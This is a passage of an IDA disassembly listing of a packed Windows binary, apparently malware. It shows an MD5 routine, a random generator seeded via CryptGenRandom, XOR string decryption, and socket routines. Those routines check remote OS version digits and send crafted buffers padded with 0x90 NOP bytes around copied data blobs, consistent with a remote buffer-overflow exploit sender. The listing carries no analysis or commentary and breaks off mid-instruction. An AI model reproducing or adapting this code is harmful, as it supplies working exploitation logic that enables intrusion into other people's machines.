[ebp+var_C] shr ecx, 11h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] not eax mov ecx, [ebp+var_C] or ecx, eax mov eax, [ebp+var_10] xor eax, ecx add eax, [ebp+var_1C] mov ecx, [ebp+var_8] lea eax, [ecx+eax+4E0811A1h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 15h mov ecx, [ebp+var_8] shr ecx, 0Bh or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] not eax mov ecx, [ebp+var_8] or ecx, eax mov eax, [ebp+var_C] xor eax, ecx add eax, [ebp+var_40] mov ecx, [ebp+var_4] lea eax, [ecx+eax-8AC817Eh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 6 mov ecx, [ebp+var_4] shr ecx, 1Ah or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] not eax mov ecx, [ebp+var_4] or ecx, eax mov eax, [ebp+var_8] xor eax, ecx add eax, [ebp+var_24] mov ecx, [ebp+var_10] lea eax, [ecx+eax-42C50DCBh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ah mov ecx, [ebp+var_10] shr ecx, 16h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] not eax mov ecx, [ebp+var_10] or ecx, eax mov eax, [ebp+var_4] xor eax, ecx add eax, [ebp+var_48] mov ecx, [ebp+var_C] lea eax, [ecx+eax+2AD7D2BBh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Fh mov ecx, [ebp+var_C] shr ecx, 11h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] not eax mov ecx, [ebp+var_C] or ecx, eax mov eax, [ebp+var_10] xor eax, ecx add eax, [ebp+var_2C] mov ecx, [ebp+var_8] lea eax, [ecx+eax-14792C6Fh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 15h mov ecx, [ebp+var_8] shr ecx, 0Bh or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+arg_0] mov eax, [eax] add eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov [ecx], eax mov eax, [ebp+arg_0] mov eax, [eax+4] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] mov [ecx+4], eax mov eax, [ebp+arg_0] mov eax, [eax+8] add eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov [ecx+8], eax mov eax, [ebp+arg_0] mov eax, [eax+0Ch] add eax, [ebp+var_10] mov ecx, [ebp+arg_0] mov [ecx+0Ch], eax leave retn sub_40F3CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410244 proc near ; CODE XREF: sub_40F3CE+Fp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 and [ebp+var_8], 0 jmp short loc_410263 ; --------------------------------------------------------------------------- loc_410253: ; CODE XREF: sub_410244+66j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] add eax, 4 mov [ebp+var_8], eax loc_410263: ; CODE XREF: sub_410244+Dj mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnb short locret_4102AC mov eax, [ebp+arg_4] add eax, [ebp+var_8] movzx eax, byte ptr [eax] mov ecx, [ebp+arg_4] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx+1] shl ecx, 8 or eax, ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx+2] shl ecx, 10h or eax, ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx+3] shl ecx, 18h or eax, ecx mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov [edx+ecx*4], eax jmp short loc_410253 ; --------------------------------------------------------------------------- locret_4102AC: ; CODE XREF: sub_410244+25j leave retn sub_410244 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4102AE proc near ; CODE XREF: UPX0:004168D0p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push 0F0000000h push 1 push 0 push 0 lea eax, [ebp+var_4] push eax call ds:dword_417024 ; CryptAcquireContextA push offset dword_41EBAC push 4 push [ebp+var_4] call ds:dword_417020 ; CryptGenRandom push offset dword_41EBB0 push 4 push [ebp+var_4] call ds:dword_417020 ; CryptGenRandom push offset dword_41EBB4 push 4 push [ebp+var_4] call ds:dword_417020 ; CryptGenRandom push offset dword_41EBB8 push 4 push [ebp+var_4] call ds:dword_417020 ; CryptGenRandom push 0 push [ebp+var_4] call ds:dword_41701C ; CryptReleaseContext leave retn sub_4102AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410318 proc near ; CODE XREF: sub_4103F5+6p ; sub_410422+6p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi lock xadd ds:dword_41EBAC, eax add eax, ebx lock xadd ds:dword_41EBB0, eax add eax, ecx lock xadd ds:dword_41EBB4, eax add eax, edx lock xadd ds:dword_41EBB8, eax add eax, esi lock xadd ds:dword_41EBAC, eax add eax, edi lock xadd ds:dword_41EBB0, eax add eax, ebp lock xadd ds:dword_41EBB4, eax add eax, esp lock xadd ds:dword_41EBB8, eax call sub_416B64 ; clock mov [ebp+var_4], eax mov eax, [ebp+var_4] lock xadd ds:dword_41EBAC, eax lock xadd ds:dword_41EBB0, eax lock xadd ds:dword_41EBB4, eax lock xadd ds:dword_41EBB8, eax add ecx, ebx ror ebx, cl lock xadd ds:dword_41EBB4, ebx add ecx, ecx ror ecx, cl lock xadd ds:dword_41EBB0, ecx add ecx, edx ror edx, cl lock xadd ds:dword_41EBAC, edx rol eax, cl add ecx, eax ror ebx, cl add ecx, ebx ror ecx, cl add ecx, 211h rol edx, cl add ecx, edx lock xadd ds:dword_41EBB8, edx lock xadd ds:dword_41EBB4, ecx lock xadd ds:dword_41EBB0, ebx lock xadd ds:dword_41EBAC, eax pop edi pop esi pop ebx leave retn sub_410318 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4103F5 proc near ; CODE XREF: sub_4020C2+10Bp ; sub_4040E8+2Dp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd ds:dword_41EBB8, eax mov ecx, [ebp+arg_4] sub ecx, [ebp+arg_0] xor edx, edx inc ecx div ecx mov eax, edx add eax, [ebp+arg_0] pop edi pop esi pop ebx pop ebp retn sub_4103F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410422 proc near ; CODE XREF: sub_40CF2F:loc_40CFBCp ; sub_40D871+D3Fp ... push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd ds:dword_41EBB8, eax pop edi pop esi pop ebx pop ebp retn sub_410422 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41043F proc near ; CODE XREF: sub_4055E5+715p ; sub_4055E5+78Bp push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd ds:dword_41EBB4, eax and eax, 0FFFFh pop edi pop esi pop ebx pop ebp retn sub_41043F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410461 proc near ; CODE XREF: sub_4104A3+42p ; sub_4125DF:loc_4126B8p push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd ds:dword_41EBB0, eax and eax, 0FFh pop edi pop esi pop ebx pop ebp retn sub_410461 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410483 proc near ; CODE XREF: sub_4055E5+72Bp ; sub_40D7E5+57p push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd ds:dword_41EBAC, eax and eax, 1 pop edi pop esi pop ebx pop ebp retn sub_410483 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4104A3 proc near ; CODE XREF: sub_40A9CF+D4Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 jnz short loc_4104AF jmp short locret_4104FF ; --------------------------------------------------------------------------- loc_4104AF: ; CODE XREF: sub_4104A3+8j mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_4104B5: ; CODE XREF: sub_4104A3+34j cmp [ebp+arg_4], 3 jbe short loc_4104D9 call sub_410422 mov ecx, [ebp+var_4] mov [ecx], eax mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_4] sub eax, 4 mov [ebp+arg_4], eax jmp short loc_4104B5 ; --------------------------------------------------------------------------- loc_4104D9: ; CODE XREF: sub_4104A3+16j mov eax, [ebp+var_4] mov [ebp+arg_0], eax loc_4104DF: ; CODE XREF: sub_4104A3+5Aj cmp [ebp+arg_4], 0 jbe short locret_4104FF call sub_410461 mov ecx, [ebp+arg_0] mov [ecx], al mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax mov eax, [ebp+arg_4] dec eax mov [ebp+arg_4], eax jmp short loc_4104DF ; --------------------------------------------------------------------------- locret_4104FF: ; CODE XREF: sub_4104A3+Aj ; sub_4104A3+40j leave retn sub_4104A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410501 proc near ; CODE XREF: sub_403260+36p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jnz short loc_410510 xor eax, eax jmp short locret_41055D ; --------------------------------------------------------------------------- loc_410510: ; CODE XREF: sub_410501+9j cmp [ebp+arg_10], 0 jnz short loc_41051C mov eax, [ebp+arg_4] mov [ebp+arg_10], eax loc_41051C: ; CODE XREF: sub_410501+13j push [ebp+arg_10] push [ebp+arg_4] call sub_4103F5 pop ecx pop ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] mov [ebp+var_4], eax loc_410532: ; CODE XREF: sub_410501+57j cmp [ebp+var_4], 0 jbe short loc_41055A push [ebp+arg_C] push [ebp+arg_8] call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] mov [ecx], al mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax jmp short loc_410532 ; --------------------------------------------------------------------------- loc_41055A: ; CODE XREF: sub_410501+35j mov eax, [ebp+var_8] locret_41055D: ; CODE XREF: sub_410501+Dj leave retn sub_410501 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41055F proc near ; CODE XREF: UPX0:004168E1p var_58 = byte ptr -58h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi lea eax, [ebp+var_58] push eax call sub_40F11F pop ecx push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_58] push eax call sub_40F159 add esp, 0Ch lea eax, [ebp+var_58] push eax push offset byte_41EBC0 call sub_40F26E pop ecx pop ecx lea esi, byte_41EBC0 mov edi, esi push 10h pop ecx loc_41059F: ; CODE XREF: sub_41055F+47j lodsb or eax, 80h stosb loop loc_41059F pop edi pop esi pop ebx leave retn sub_41055F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4105AD proc near ; CODE XREF: sub_406E8E+C6p ; sub_406E8E+14Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] cmp eax, 7Fh jle short loc_4105BE jmp short locret_4105F9 ; --------------------------------------------------------------------------- loc_4105BE: ; CODE XREF: sub_4105AD+Dj and [ebp+var_4], 0 jmp short loc_4105CB ; --------------------------------------------------------------------------- loc_4105C4: ; CODE XREF: sub_4105AD+4Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4105CB: ; CODE XREF: sub_4105AD+15j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short locret_4105F9 mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] xor al, ds:byte_41EBC0[edx] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_4105C4 ; --------------------------------------------------------------------------- locret_4105F9: ; CODE XREF: sub_4105AD+Fj ; sub_4105AD+29j leave retn sub_4105AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4105FB proc near ; CODE XREF: sub_401000+4Ap ; sub_4043E9+1Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] cmp eax, 7Fh jg short loc_41060C jmp short locret_410647 ; --------------------------------------------------------------------------- loc_41060C: ; CODE XREF: sub_4105FB+Dj and [ebp+var_4], 0 jmp short loc_410619 ; --------------------------------------------------------------------------- loc_410612: ; CODE XREF: sub_4105FB+4Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_410619: ; CODE XREF: sub_4105FB+15j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short locret_410647 mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] xor al, ds:byte_41EBC0[edx] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_410612 ; --------------------------------------------------------------------------- locret_410647: ; CODE XREF: sub_4105FB+Fj ; sub_4105FB+29j leave retn sub_4105FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410649 proc near ; DATA XREF: UPX1:off_41CDAEo var_1B78 = dword ptr -1B78h var_1B74 = byte ptr -1B74h var_B74 = byte ptr -0B74h var_B6C = dword ptr -0B6Ch var_B64 = dword ptr -0B64h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = byte ptr -36Ch var_280 = byte ptr -280h var_276 = byte ptr -276h var_272 = byte ptr -272h var_23A = byte ptr -23Ah var_236 = byte ptr -236h var_232 = byte ptr -232h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1B78h call sub_416BC0 push 48h push offset dword_41A7B0 mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 0EA60h mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_410686 jmp locret_410B50 ; --------------------------------------------------------------------------- loc_410686: ; CODE XREF: sub_410649+36j push 0 push 1000h lea eax, [ebp+var_1B74] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call ds:dword_417248 ; recv push 7 push offset dword_41A7A8 mov eax, [ebp+arg_0] push dword ptr [eax+2Ah] mov eax, [ebp+arg_0] add eax, 146h push eax mov eax, [ebp+arg_0] add eax, 0C6h push eax mov eax, [ebp+arg_0] push dword ptr [eax+0C2h] push 200h lea eax, [ebp+var_200] push eax call sub_4125DF add esp, 20h mov [ebp+var_370], eax cmp [ebp+var_370], 0 jnz short loc_4106F0 jmp locret_410B50 ; --------------------------------------------------------------------------- loc_4106F0: ; CODE XREF: sub_410649+A0j and [ebp+var_374], 0 jmp short loc_410706 ; --------------------------------------------------------------------------- loc_4106F9: ; CODE XREF: sub_410649+E1j mov eax, [ebp+var_374] inc eax mov [ebp+var_374], eax loc_410706: ; CODE XREF: sub_410649+AEj cmp [ebp+var_374], 168h jge short loc_41072C push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+var_374] mov [ebp+ecx+var_36C], al jmp short loc_4106F9 ; --------------------------------------------------------------------------- loc_41072C: ; CODE XREF: sub_410649+C7j push 0Ah push offset loc_41A8A0 lea eax, [ebp+var_280] push eax call sub_416B52 ; memcpy add esp, 0Ch push 2 push offset loc_41A8F0 lea eax, [ebp+var_276] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push offset loc_41A8E8 lea eax, [ebp+var_272] push eax call sub_416B52 ; memcpy add esp, 0Ch push 2 push offset loc_41A8EC lea eax, [ebp+var_23A] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push (offset loc_41A8E3+1) lea eax, [ebp+var_236] push eax call sub_416B52 ; memcpy add esp, 0Ch push 0Bh push offset loc_41A894 lea eax, [ebp+var_232] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, 3E6h sub eax, [ebp+var_370] mov [ebp+var_204], eax and [ebp+var_1B78], 0 push 18h push offset dword_41A7FC mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 18h mov [ebp+var_1B78], eax push 44h push offset dword_41A818 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 44h mov [ebp+var_1B78], eax push 20h push 0FFFFFF90h mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 20h mov [ebp+var_1B78], eax push 4 push offset loc_41A8AC mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 4 push offset loc_41A8E0 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 4 push offset dword_41A8D8 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 4 push offset loc_41A8DC mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 58h push 0FFFFFF90h mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 58h mov [ebp+var_1B78], eax push 6 push offset loc_41A8B4 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 6 mov [ebp+var_1B78], eax push 8 push 0FFFFFF90h mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 8 mov [ebp+var_1B78], eax push 4 push offset loc_41A8BC mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 4 push 0FFFFFF90h mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 6 push offset loc_41A8C4 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 6 mov [ebp+var_1B78], eax push [ebp+var_204] push 0FFFFFF90h mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_1B78] add eax, [ebp+var_204] mov [ebp+var_1B78], eax push [ebp+var_370] lea eax, [ebp+var_200] push eax mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, [ebp+var_370] mov [ebp+var_1B78], eax push 168h lea eax, [ebp+var_36C] push eax mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 168h mov [ebp+var_1B78], eax push 0Ah push offset off_41A8CC mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 0Ah mov [ebp+var_1B78], eax push 32h push offset dword_41A860 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 32h mov [ebp+var_1B78], eax mov eax, [ebp+var_1B78] mov [ebp+var_B6C], eax mov eax, [ebp+var_1B78] sub eax, 18h mov [ebp+var_B64], eax push [ebp+var_1B78] lea eax, [ebp+var_B74] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 0EA60h mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_410B36 jmp short locret_410B50 ; --------------------------------------------------------------------------- loc_410B36: ; CODE XREF: sub_410649+4E9j push 0 push 1000h lea eax, [ebp+var_1B74] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call ds:dword_417248 ; recv locret_410B50: ; CODE XREF: sub_410649+38j ; sub_410649+A2j ... leave retn sub_410649 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410B52 proc near ; DATA XREF: UPX1:0041CDE8o var_104C = byte ptr -104Ch var_FC6 = byte ptr -0FC6h var_BDE = byte ptr -0BDEh var_B9E = byte ptr -0B9Eh var_B7C = dword ptr -0B7Ch var_B78 = byte ptr -0B78h var_AF2 = byte ptr -0AF2h var_88E = byte ptr -88Eh var_882 = byte ptr -882h var_85E = byte ptr -85Eh var_852 = byte ptr -852h var_82E = byte ptr -82Eh var_80C = byte ptr -80Ch var_7CC = byte ptr -7CCh var_7C8 = byte ptr -7C8h var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 104Ch call sub_416BC0 push 7 push offset dword_41A7A8 mov eax, [ebp+arg_0] push dword ptr [eax+2Ah] mov eax, [ebp+arg_0] add eax, 146h push eax mov eax, [ebp+arg_0] add eax, 0C6h push eax mov eax, [ebp+arg_0] push dword ptr [eax+0C2h] push 200h lea eax, [ebp+var_204] push eax call sub_4125DF add esp, 20h mov [ebp+var_20C], eax cmp [ebp+var_20C], 0 jnz short loc_410BAF jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410BAF: ; CODE XREF: sub_410B52+56j push 89h push offset dword_41AF50 mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410BEF jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410BEF: ; CODE XREF: sub_410B52+96j push 0A8h push offset dword_41AFDC mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410C2F jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410C2F: ; CODE XREF: sub_410B52+D6j push 0DEh push offset dword_41B088 mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410C6F jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410C6F: ; CODE XREF: sub_410B52+116j movsx eax, [ebp+var_7CC] sub eax, 30h mov [ebp+var_208], al movsx eax, [ebp+var_7C8] sub eax, 30h mov [ebp+var_4], al push 3Eh push offset dword_41B168 mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410CC9 jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410CC9: ; CODE XREF: sub_410B52+170j push 60h push offset dword_41B1A8 mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410D06 jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410D06: ; CODE XREF: sub_410B52+1ADj push 0A0h push offset dword_41B20C mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410D46 jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410D46: ; CODE XREF: sub_410B52+1EDj movsx eax, [ebp+var_208] cmp eax, 5 jnz loc_410E71 movsx eax, [ebp+var_4] cmp eax, 1 jnz loc_410E71 push 86h push offset dword_41B2B0 lea eax, [ebp+var_B78] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+var_20C] lea eax, [ebp+var_204] push eax lea eax, [ebp+var_AF2] push eax call sub_416B52 ; memcpy add esp, 0Ch push 0 mov eax, 264h sub eax, [ebp+var_20C] add eax, 60h push eax mov eax, [ebp+var_20C] lea eax, [ebp+eax+var_AF2] push eax call sub_410F60 add esp, 0Ch push 4 push offset dword_41B410 lea eax, [ebp+var_88E] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push offset dword_41B408 lea eax, [ebp+var_882] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push offset dword_41B408 lea eax, [ebp+var_85E] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push offset dword_41B408 lea eax, [ebp+var_852] push eax call sub_416B52 ; memcpy add esp, 0Ch push 20h push offset dword_41B338 lea eax, [ebp+var_82E] push eax call sub_416B52 ; memcpy add esp, 0Ch push 36Ah lea eax, [ebp+var_B78] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 400h call ds:dword_41709C ; Sleep push 36Ah lea eax, [ebp+var_B78] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410E71: ; CODE XREF: sub_410B52+1FEj ; sub_410B52+20Bj movsx eax, [ebp+var_208] cmp eax, 5 jnz short loc_410E85 movsx eax, [ebp+var_4] test eax, eax jz short loc_410E95 loc_410E85: ; CODE XREF: sub_410B52+329j movsx eax, [ebp+var_208] cmp eax, 4 jnz locret_410F5E loc_410E95: ; CODE XREF: sub_410B52+331j push 86h push offset dword_41B35C lea eax, [ebp+var_104C] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, 3E8h sub eax, [ebp+var_20C] push eax push 90h lea eax, [ebp+var_FC6] push eax call sub_416B6A ; memset add esp, 0Ch push [ebp+var_20C] lea eax, [ebp+var_204] push eax lea eax, [ebp+var_BDE] sub eax, [ebp+var_20C] push eax call sub_416B52 ; memcpy add esp, 0Ch and [ebp+var_B7C], 0 jmp short loc_410F06 ; --------------------------------------------------------------------------- loc_410EF9: ; CODE XREF: sub_410B52+3DAj mov eax, [ebp+var_B7C] inc eax mov [ebp+var_B7C], eax loc_410F06: ; CODE XREF: sub_410B52+3A5j cmp [ebp+var_B7C], 10h jge short loc_410F2E push 4 push offset dword_41B408 mov eax, [ebp+var_B7C] lea eax, [ebp+eax*4+var_BDE] push eax call sub_416B52 ; memcpy add esp, 0Ch jmp short loc_410EF9 ; --------------------------------------------------------------------------- loc_410F2E: ; CODE XREF: sub_410B52+3BBj push 20h push offset dword_41B3E4 lea eax, [ebp+var_B9E] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4CEh lea eax, [ebp+var_104C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch locret_410F5E: ; CODE XREF: sub_410B52+58j ; sub_410B52+98j ... leave retn sub_410B52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410F60 proc near ; CODE XREF: sub_410B52+265p var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_8], 